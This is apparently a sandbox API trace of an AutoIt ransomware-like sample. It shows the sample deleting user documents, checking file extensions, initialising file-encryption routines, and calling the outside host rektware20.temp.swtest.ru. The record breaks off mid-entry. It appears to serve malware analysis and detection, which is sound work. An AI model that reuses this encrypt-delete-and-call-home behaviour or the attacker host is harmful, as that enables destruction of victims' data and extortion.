DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\NZGdG.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\nzgdg.xlsx")) returned 1 [0070.779] FindNextFileW (in: hFindFile=0x164c6f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0070.780] FindClose (in: hFindFile=0x164c6f0 | out: hFindFile=0x164c6f0) returned 1 [0070.780] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.780] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.780] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.780] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.780] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OA1G3S9v3IVOuJc9.pptx", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0070.780] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0070.780] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.780] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0070.780] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0070.780] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0070.780] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0070.780] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fa0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620fa0, lpdwBufferLength=0x130ef8c) returned 1 [0070.780] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0070.780] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0070.781] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0070.781] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0070.781] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0070.781] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0070.781] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0070.781] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629250, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629250*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0070.781] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0070.782] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0070.782] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0070.782] CloseHandle (hObject=0x0) returned 0 [0070.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OA1G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\OA1G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\OA1G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\OA1G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\OA1G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\OA1G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\OA1G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\OA1G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\OA1G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\OA1G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\OA1G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\OA1G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\OA1G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\OA1G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\OA1G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\OA1G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\OA1G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\OA1G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\OA1G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\OA1G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\OA1G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\OA1G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\OA1G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\OA1G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\OA1G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\OA1G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\OA1G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\OA1G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\OA1G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\OA1G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\OA1G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\OA1G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="OA1G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A1G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="G3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="3S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="S9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="v3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="3IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IVOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VOuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="OuJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uJc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Jc9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0070.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.783] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.783] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0070.783] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.783] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0070.783] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0070.783] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0070.783] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0070.783] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0070.783] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d48, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620d48, lpdwBufferLength=0x130ee1c) returned 1 [0070.784] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0070.784] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0070.784] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0070.784] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0070.784] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0070.784] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0070.784] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292d0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0070.784] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0070.784] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0070.785] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0070.785] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0070.785] CloseHandle (hObject=0x0) returned 0 [0070.785] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.785] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OA1G3S9v3IVOuJc9.pptx", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0070.785] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0070.785] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.785] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.785] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.785] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.785] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0070.785] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.785] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0070.786] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.786] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.786] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0070.786] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.786] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.786] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.786] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.786] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.786] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0070.786] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0070.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0070.786] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0070.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0070.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0070.787] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0070.787] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa9a0) returned 1 [0070.788] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.788] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.788] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0070.788] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.788] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.788] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.788] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.788] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.788] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.788] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.788] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.789] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.789] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.789] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.789] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.789] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0070.789] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.789] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.789] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.789] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.789] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.789] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.789] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.789] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.789] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.789] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.789] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.789] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.790] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.790] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.790] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.790] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.790] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: 